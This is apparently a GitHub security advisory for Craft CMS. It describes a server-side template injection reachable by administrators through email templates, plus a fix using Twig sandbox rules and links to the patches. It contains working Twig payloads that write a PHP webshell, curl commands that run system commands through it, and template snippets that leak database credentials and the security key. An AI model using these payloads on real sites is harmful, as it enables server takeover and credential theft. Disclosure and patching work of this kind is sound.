GHSA-v47q-jxvr-p68x

## Summary An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands. --- ## Proof of Concept ### Attack Prerequisites - Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility ### Steps to Reproduce 1. Navigate to **Utilities → System Messages** (`/admin/utilities/system-messages`) 2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject): - To exploit it by writing to a file system: - **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation. ```twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} ``` - To exploit it by writing to a volume: - **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation. ```twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} ``` <img width="982" height="901" alt="payload-injection" src="https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e" /> 3. Save & go to **Settings → Email** (`/admin/settings/email`) 4. Click **"Test"** at the bottom of the page to trigger template rendering 5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser: **Note:** The path might be different on your end depending on the filesystem or volume configuration. ```bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` <img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" /> --- ## Additional Impact The same `craft.app` exposure without any security measures enables additional attack vectors: ### Database Credential Disclosure Database credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection. ```twig {{ craft.app.db.username }} {{ craft.app.db.password }} {{ craft.app.db.dsn }} ``` ### Security Key Disclosure Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection. ```twig {{ craft.app.config.general.securityKey }} ``` ## Recommended Fix - **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods - **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application ## Resources https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216